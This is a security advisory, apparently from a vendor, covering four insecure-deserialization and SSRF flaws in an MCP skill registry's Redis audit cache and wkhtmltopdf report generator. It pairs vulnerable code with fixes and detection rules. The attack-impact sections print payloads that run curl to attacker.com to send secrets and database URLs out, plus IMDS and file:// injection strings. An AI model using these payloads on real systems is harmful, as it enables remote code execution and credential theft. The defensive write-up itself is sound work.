Insecure deserialization in MCP skill registry audit result caching and report generation — SA-SKL-DESER7

Four critical and high severity deserialization vulnerabilities affecting the audit result caching pipeline and PDF report generation subsystem of MCP skill registry infrastructure. Two findings lead directly to remote code execution via Function() and eval() over attacker-controlled cache data; the other two enable server-side request forgery through wkhtmltopdf file scheme access and a Redis race condition on the report delivery callbackUrl. SkillAudit's static analysis and dynamic audit pipeline detects all four patterns before they reach production.

Findings at a glance

Critical DESER7-001 — evalStrategy field from Redis cache passed to Function() constructor — RCE on cache hit
High DESER7-002 — wkhtmltopdf PDF generation interpolates raw skill description HTML — SSRF via file:// and IMDS URLs
Critical DESER7-003 — eval(schemaBlob) restores serialized Zod schema from cached audit result — RCE via poisoned cache
High DESER7-004 — callbackUrl read from Redis HSET without re-validation before delivery — SSRF via race condition overwrite

DESER7-001 — Function() called with cached evalStrategy — RCE on cache hit

When the MCP skill registry audit worker completes a scan, it serialises the full audit result object — including all audit metadata submitted with the skill — directly into Redis using JSON.stringify(result). One of those metadata fields is evalStrategy, which was introduced to support "pluggable evaluation logic" for different skill categories. On a subsequent cache hit the worker deserialises the cached blob and reconstructs the evaluation function by passing evalStrategy to the Function() constructor. Because Function() is equivalent to eval() for string-to-code conversion, any attacker who can supply a crafted evalStrategy value at skill submission time gets arbitrary Node.js execution inside the audit worker process on every future cache read.

The attack requires only a valid skill submission. The attacker sets evalStrategy to a payload such as "return require('child_process').execSync('id').toString()". The first audit run stores this string verbatim in Redis. On every subsequent request where the cache key matches, the worker calls new Function(evalStrategy)(), executing the attacker's code with the same OS user and environment variables as the audit worker — including any cloud credentials exposed via process.env.

Vulnerable
// VULNERABLE
// audit-cache.js — cache read and report assembly

const redis = require('redis');
const client = redis.createClient({ url: process.env.REDIS_URL });

async function getAuditReport(skillId) {
  const raw = await client.get(`audit:result:${skillId}`);
  if (!raw) return null;

  const result = JSON.parse(raw);           // includes all original metadata

  // "dynamic evaluation logic" — reconstitute the strategy on cache hit
  if (result.evalStrategy) {
    const fn = new Function(result.evalStrategy);  // VULNERABLE: RCE
    result._evaluator = fn;
  }

  return buildReport(result);
}

async function storeAuditResult(skillId, result) {
  // result.evalStrategy comes directly from the skill submission payload
  await client.set(`audit:result:${skillId}`, JSON.stringify(result), {
    EX: 86400
  });
}
Fixed
// FIXED
// audit-cache.js — safe cache read using enum-keyed strategy registry

const redis = require('redis');
const client = redis.createClient({ url: process.env.REDIS_URL });

// Pre-registered handlers — code is never stored in cache
const EVAL_STRATEGY_REGISTRY = {
  default:   require('./strategies/default'),
  strict:    require('./strategies/strict'),
  lenient:   require('./strategies/lenient'),
};

const ALLOWED_STRATEGIES = new Set(Object.keys(EVAL_STRATEGY_REGISTRY));

async function getAuditReport(skillId) {
  const raw = await client.get(`audit:result:${skillId}`);
  if (!raw) return null;

  const result = JSON.parse(raw);

  // Look up pre-registered handler by enum value — never execute stored code
  const strategyKey = ALLOWED_STRATEGIES.has(result.evalStrategy)
    ? result.evalStrategy
    : 'default';
  result._evaluator = EVAL_STRATEGY_REGISTRY[strategyKey];

  return buildReport(result);
}

async function storeAuditResult(skillId, result) {
  // Strip all fields that could contain executable content
  const safe = {
    skillId:      result.skillId,
    score:        result.score,
    findings:     result.findings,
    evalStrategy: ALLOWED_STRATEGIES.has(result.evalStrategy)
                    ? result.evalStrategy
                    : 'default',
    completedAt:  result.completedAt,
  };
  await client.set(`audit:result:${skillId}`, JSON.stringify(safe), {
    EX: 86400
  });
}

Attack impact. An attacker submits a skill with evalStrategy: "return require('child_process').execSync('curl http://attacker.com/'+Buffer.from(require('fs').readFileSync('/run/secrets/db_password')).toString('base64')).toString()". The first audit run caches the payload. On every subsequent cache hit the audit worker silently exfiltrates the secret. Because the trigger is a cache hit, the attack fires repeatedly for every user who views the same skill report — amplifying exfiltration across all report consumers.

Detection

SkillAudit's taint-flow engine traces the data path from JSON.parse() calls on Redis or external-cache reads through to new Function(), eval(), vm.runInNewContext(), and vm.Script constructors. Any path where a parsed field reaches a code-execution sink without passing through an allowlist check is flagged as DESER7-001. The rule also fires when evalStrategy or similarly named fields (handler, transform, scriptBody) appear in cached serialisation output, since naming conventions alone indicate intent to store executable logic.

DESER7-002 — wkhtmltopdf SSRF via skill description HTML injected into PDF template

The audit report PDF is generated by passing a rendered HTML string to wkhtmltopdf. The HTML template is constructed by interpolating audit data — including the skill's description field — directly into the template with a simple string concatenation or template literal. Because wkhtmltopdf includes a full WebKit browser engine, it fetches any URL encountered in the rendered HTML: <img> tags, CSS url() calls, and stylesheet @import directives. An attacker who controls the description field can inject <img src="file:///etc/passwd"> to exfiltrate local files, or <img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/role"> to harvest AWS IAM credentials — both via the PDF binary embedded in the report output.

The attack is straightforward: submit a skill with a description field containing the SSRF payload. When an administrator or automated system requests the PDF report for that skill, wkhtmltopdf resolves the injected URL in the context of the audit worker host, embeds the fetched content in the PDF (as a broken image that nonetheless triggered the HTTP/file fetch), and the attacker retrieves the data by downloading the PDF or by monitoring an out-of-band exfiltration endpoint they injected.

Vulnerable
// VULNERABLE
// report-generator.js — PDF generation with unsanitized description

const wkhtmltopdf = require('wkhtmltopdf');

async function generatePdfReport(auditResult) {
  const html = `
    <!doctype html>
    <html>
    <head><meta charset="utf-8"></head>
    <body>
      <h1>Audit Report: ${auditResult.skillName}</h1>
      <p>Score: ${auditResult.score}</p>
      <h2>Description</h2>
      <div>${auditResult.description}</div>   <!-- VULNERABLE: raw HTML from attacker -->
      <h2>Findings</h2>
      ${auditResult.findings.map(f => `<p>${f.title}: ${f.detail}</p>`).join('')}
    </body>
    </html>`;

  return new Promise((resolve, reject) => {
    wkhtmltopdf(html, { pageSize: 'A4' }, (err, stream) => {  // no SSRF guards
      if (err) return reject(err);
      resolve(stream);
    });
  });
}
Fixed
// FIXED
// report-generator.js — sanitized description + wkhtmltopdf SSRF mitigations

const wkhtmltopdf = require('wkhtmltopdf');
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const he = require('he');   // HTML entity encoder for plain-text fields

const purify = createDOMPurify(new JSDOM('').window);

// Sanitize HTML fields — strip script, event handlers, dangerous src schemes
function sanitizeHtml(dirty) {
  return purify.sanitize(dirty, {
    ALLOWED_TAGS: ['p', 'ul', 'ol', 'li', 'strong', 'em', 'code', 'pre', 'br'],
    ALLOWED_ATTR: [],   // no href/src attributes at all
    FORCE_BODY:   true,
  });
}

// Encode plain-text fields that must not contain HTML at all
function encodeText(text) {
  return he.encode(String(text ?? ''), { useNamedReferences: true });
}

async function generatePdfReport(auditResult) {
  const safeDescription = sanitizeHtml(auditResult.description);
  const safeSkillName   = encodeText(auditResult.skillName);
  const safeScore       = encodeText(String(auditResult.score));

  const html = `
    <!doctype html>
    <html>
    <head><meta charset="utf-8"></head>
    <body>
      <h1>Audit Report: ${safeSkillName}</h1>
      <p>Score: ${safeScore}</p>
      <h2>Description</h2>
      <div>${safeDescription}</div>
      <h2>Findings</h2>
      ${auditResult.findings
          .map(f => `<p>${encodeText(f.title)}: ${encodeText(f.detail)}</p>`)
          .join('')}
    </body>
    </html>`;

  return new Promise((resolve, reject) => {
    wkhtmltopdf(html, {
      pageSize: 'A4',
      // Block local file access and restrict network schemes
      'disable-local-file-access': true,
      'disallow-local-file-access': true,
      // Only allow HTTPS to pre-approved asset CDN — no arbitrary fetches
      'allowed-domains': ['assets.skillaudit.dev'],
      // No JavaScript execution inside the renderer
      'disable-javascript': true,
    }, (err, stream) => {
      if (err) return reject(err);
      resolve(stream);
    });
  });
}

Attack impact. An attacker submits a skill with description: '<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/WorkerRole">'. When any user downloads the PDF report, wkhtmltopdf makes an HTTP request to the IMDS endpoint from the audit worker host. The IAM role credentials — including AccessKeyId, SecretAccessKey, and Token — are returned in the response body, which wkhtmltopdf attempts to render as image data. Even if the PDF appears broken to the end user, the credentials have already been fetched and may appear in wkhtmltopdf debug logs, PDF metadata, or error output piped back to the caller.

Detection

SkillAudit scans for wkhtmltopdf, puppeteer, playwright, and html-pdf invocations where user-controlled data reaches the HTML input without prior DOMPurify or equivalent sanitization. The rule additionally checks the options object passed to the PDF renderer for the absence of disable-local-file-access and disable-javascript flags. A secondary heuristic detects template literals or string concatenations that interpolate object properties named description, content, notes, or body into an HTML context.

DESER7-003 — eval(schemaBlob) restores Zod schema from cached audit result — RCE

To avoid re-compiling the Zod validation schema on every audit re-run, the worker serialises the schema's source representation as a string — the schemaBlob field — and stores it in the cached audit result. On a re-run triggered by an updated skill version, the worker reads the cache, extracts schemaBlob, and passes it directly to eval() to "restore the validation logic." This design treats schemas as data that can be round-tripped through a cache, but Zod schemas are code — they reference module-level functions and closures that cannot be meaningfully serialised and deserialised as text without executing that text.

An attacker with write access to Redis — achievable via the SSRF described in DESER7-001 or through a misconfigured Redis admin port exposed on the internal network — can overwrite the cached audit result to include a crafted schemaBlob value. When the audit worker next processes a re-run for that skill, it calls eval(schemaBlob) and the payload executes. Even without direct Redis access, DESER7-001 can be used as a first stage to inject an evalStrategy payload that then overwrites the schemaBlob for a targeted skill, creating a chained two-stage exploit.

Vulnerable
// VULNERABLE
// schema-restore.js — Zod schema round-tripped through eval()

const redis = require('redis');
const client = redis.createClient({ url: process.env.REDIS_URL });

async function getValidatorForSkill(skillId) {
  const raw = await client.get(`audit:result:${skillId}`);
  if (!raw) return null;

  const result = JSON.parse(raw);

  if (result.schemaBlob) {
    // "Restore the validation logic from cache to avoid recompile overhead"
    const schema = eval(result.schemaBlob);   // VULNERABLE: RCE
    return schema;
  }

  return null;
}

async function cacheAuditResult(skillId, result, schema) {
  // Serialise the Zod schema by converting it to a source string
  result.schemaBlob = schema.toString();      // stores source code in cache
  await client.set(`audit:result:${skillId}`, JSON.stringify(result), {
    EX: 86400
  });
}
Fixed
// FIXED
// schema-restore.js — schema registry keyed by UUID; never eval cached strings

const redis = require('redis');
const { v4: uuidv4 } = require('uuid');
const client = redis.createClient({ url: process.env.REDIS_URL });

// Schema registry lives in code — keyed by stable UUID assigned at deploy time
const SCHEMA_REGISTRY = new Map([
  ['a1b2c3d4-0001-0000-0000-000000000001', require('./schemas/skill-v1')],
  ['a1b2c3d4-0001-0000-0000-000000000002', require('./schemas/skill-v2')],
  ['a1b2c3d4-0001-0000-0000-000000000003', require('./schemas/skill-strict')],
]);

async function getValidatorForSkill(skillId) {
  const raw = await client.get(`audit:result:${skillId}`);
  if (!raw) return null;

  const result = JSON.parse(raw);

  // Look up schema by UUID from the code-side registry — never execute stored text
  if (result.schemaId && SCHEMA_REGISTRY.has(result.schemaId)) {
    return SCHEMA_REGISTRY.get(result.schemaId);
  }

  // Fall back to the default schema if the stored ID is unknown
  return SCHEMA_REGISTRY.get('a1b2c3d4-0001-0000-0000-000000000001');
}

async function cacheAuditResult(skillId, result, schemaId) {
  // Validate that the schemaId is a known registered UUID before persisting
  if (!SCHEMA_REGISTRY.has(schemaId)) {
    throw new Error(`Unknown schemaId: ${schemaId}`);
  }

  const safe = {
    skillId:     result.skillId,
    score:       result.score,
    findings:    result.findings,
    schemaId,                      // UUID reference only — no source code
    completedAt: result.completedAt,
  };

  await client.set(`audit:result:${skillId}`, JSON.stringify(safe), {
    EX: 86400
  });
}

Attack impact. An attacker who has obtained Redis write access (or who chains this with DESER7-001) overwrites the cached result for a popular skill to include schemaBlob: "require('child_process').execSync('curl http://attacker.com/'+process.env.DATABASE_URL)". On the next scheduled re-audit — which may run automatically for all cached skills — the eval fires, sending the production database URL (and any embedded credentials) to the attacker's server. Because the payload is in the cache rather than in application code, it survives deployments and restarts until the cache entry expires or is explicitly invalidated.

Detection

SkillAudit's taint-flow analysis tracks fields named schemaBlob, schemaSource, validatorCode, or any field whose value is produced by calling .toString() on a schema or function object before being passed to JSON.stringify(). When such a field is later read from a deserialised cache object and passed to eval(), new Function(), or vm.runInNewContext(), the finding is raised as DESER7-003. The rule also fires on vm.Script and require('module')._compile sinks.

DESER7-004 — SSRF via callbackUrl read from Redis HSET without re-validation before delivery

When an audit job is submitted, the worker stores the job metadata — including a callbackUrl for webhook delivery of the completed report — in a Redis HSET. The callbackUrl is validated at submission time: it must be an HTTPS URL pointing to an external domain and not resolving to an RFC 1918 address. However, the validation is not repeated when the worker reads the HSET entry at report completion time and POSTs the result to the stored URL. This creates a time-of-check/time-of-use (TOCTOU) window exploitable via a race condition.

The attack proceeds in two steps. First, the attacker submits a job with a legitimate callbackUrl that passes validation — for example, https://webhook.attacker.com/legit. Second, before the audit completes, the attacker issues a Redis write to overwrite the HSET entry's callbackUrl field with http://169.254.169.254/latest/meta-data/. The Redis write is achievable via an SSRF to an exposed Redis admin port (default 6379, often protected only by VPC firewall rules that the worker itself bypasses) or via an earlier exploit in the same pipeline. When the audit finishes and the worker reads callbackUrl from the HSET, it POSTs the full audit result JSON to the IMDS endpoint. Even if the POST body is ignored, the HTTP request itself traverses the internal network from the worker host, confirming reachability and potentially triggering unintended side effects.

Vulnerable
// VULNERABLE
// delivery.js — callbackUrl read from Redis without re-validation

const redis = require('redis');
const axios = require('axios');
const client = redis.createClient({ url: process.env.REDIS_URL });

async function deliverReport(jobId, reportPayload) {
  // Read job metadata from Redis — callbackUrl may have been overwritten
  const meta = await client.hGetAll(`audit:job:${jobId}`);

  if (!meta.callbackUrl) return;

  // No re-validation — callbackUrl trusted from cache as-is
  await axios.post(meta.callbackUrl, reportPayload, {  // VULNERABLE: SSRF
    headers: { 'Content-Type': 'application/json' },
    timeout: 10000,
  });
}

async function submitJob(jobId, payload) {
  // Validation happens here — but not repeated before delivery
  if (!isValidCallbackUrl(payload.callbackUrl)) {
    throw new Error('Invalid callbackUrl');
  }

  await client.hSet(`audit:job:${jobId}`, {
    skillId:     payload.skillId,
    callbackUrl: payload.callbackUrl,  // stored; re-read without re-validation
    submittedAt: Date.now().toString(),
  });
}

function isValidCallbackUrl(url) {
  try {
    const u = new URL(url);
    return u.protocol === 'https:' && !isPrivateHost(u.hostname);
  } catch { return false; }
}
Fixed
// FIXED
// delivery.js — callbackUrl re-validated immediately before every delivery attempt

const redis = require('redis');
const axios = require('axios');
const dns = require('dns').promises;
const ipRangeCheck = require('ip-range-check');
const client = redis.createClient({ url: process.env.REDIS_URL });

// RFC 1918 + loopback + link-local + IMDS
const BLOCKED_RANGES = [
  '10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16',
  '127.0.0.0/8', '169.254.0.0/16', '::1/128', 'fc00::/7',
];

async function isSafeCallbackUrl(rawUrl) {
  let u;
  try { u = new URL(rawUrl); } catch { return false; }

  // Must be HTTPS only
  if (u.protocol !== 'https:') return false;

  // Resolve hostname and check every resolved IP against blocked ranges
  let addresses;
  try {
    const records = await dns.lookup(u.hostname, { all: true });
    addresses = records.map(r => r.address);
  } catch { return false; }

  for (const addr of addresses) {
    if (ipRangeCheck(addr, BLOCKED_RANGES)) return false;
  }

  return true;
}

async function deliverReport(jobId, reportPayload) {
  const meta = await client.hGetAll(`audit:job:${jobId}`);

  if (!meta.callbackUrl) return;

  // Re-validate immediately before delivery — not just at submission time
  const safe = await isSafeCallbackUrl(meta.callbackUrl);
  if (!safe) {
    console.warn(`[DESER7-004] Blocked delivery to unsafe callbackUrl for job ${jobId}`);
    return;
  }

  await axios.post(meta.callbackUrl, reportPayload, {
    headers:  { 'Content-Type': 'application/json' },
    timeout:  10000,
    maxRedirects: 0,       // no redirects — prevents redirect-based SSRF bypass
    validateStatus: s => s < 400,
  });
}

async function submitJob(jobId, payload) {
  if (!(await isSafeCallbackUrl(payload.callbackUrl))) {
    throw new Error('Invalid or unsafe callbackUrl');
  }

  await client.hSet(`audit:job:${jobId}`, {
    skillId:     payload.skillId,
    callbackUrl: payload.callbackUrl,
    submittedAt: Date.now().toString(),
  });
}

Attack impact. An attacker submits a valid audit job with a legitimate callbackUrl, then races a Redis HSET write (via SSRF to the Redis admin port) to replace it with http://169.254.169.254/latest/meta-data/iam/security-credentials/WorkerRole. When the audit completes and the worker calls axios.post(meta.callbackUrl, reportPayload), the full audit result JSON is POSTed to the IMDS endpoint from the worker host. The HTTP 200 response body — containing the IAM role name and temporary credentials — is logged or returned to the caller depending on the delivery error-handling path. Additionally, if the job system logs callbackUrl values for observability, the overwritten URL appears in logs, confirming IMDS reachability.

Detection

SkillAudit flags any code path where a URL read from a Redis hash, database row, or any persistent store is passed to an HTTP client (axios, node-fetch, got, https.request) without an intervening SSRF guard that includes DNS resolution and RFC 1918 range checking. The rule distinguishes between validation at write-time only (insufficient — flagged as TOCTOU) versus validation immediately before each HTTP call (sufficient). The rule also checks for maxRedirects: 0 or equivalent redirect-disable settings, since SSRF guards that allow redirects can be bypassed by an open redirect on an allowed domain.

Summary

ID Severity Vulnerability Impact Fix
DESER7-001 Critical new Function(result.evalStrategy) on cache read RCE in audit worker process; credential exfiltration Enum allowlist; map to pre-registered server-side handlers; never store code in cache
DESER7-002 High wkhtmltopdf renders unsanitized skill description HTML SSRF via file:// and IMDS URLs; local file read embedded in PDF DOMPurify before rendering; --disable-local-file-access --disable-javascript; sandbox renderer
DESER7-003 Critical eval(result.schemaBlob) restores Zod schema from cache RCE via poisoned cache; persists across restarts until TTL expiry Schema ID registry in code; look up by UUID; never store or eval schema source strings
DESER7-004 High callbackUrl from Redis HSET used without re-validation SSRF to internal services or IMDS via race condition overwrite Re-validate immediately before delivery; DNS check; RFC 1918 blocklist; maxRedirects: 0

General principle. Audit result caches must be treated as untrusted input on read — not as a safe serialisation of previously validated data. Any field that influences control flow (strategy selection, schema choice, delivery URL) must be re-validated against a code-side allowlist or policy on every read, regardless of how the value was validated at write time. Code — including schema definitions and evaluation strategies — must never be stored as strings in external state; store only an identifier and resolve it to code server-side.

Related findings

The eval(schemaBlob) pattern in DESER7-003 is closely related to the prototype pollution techniques documented in SA-SKL-DESER6 — Prototype pollution in deep-merge plugin configuration and theme override, where attacker-controlled object structure is merged into application state without sanitization. Both vulnerability classes share the root cause of treating external data as trusted code or configuration. The callbackUrl SSRF in DESER7-004 is a specific instance of the SSRF patterns catalogued in SA-SKL-SSRF23 — SSRF in package metadata fetch and npm registry proxy; the DNS-resolution-plus-RFC-1918-blocklist guard described in DESER7-004 applies equally to registry proxy fetch URLs and any other user-controlled URL consumed by the audit worker.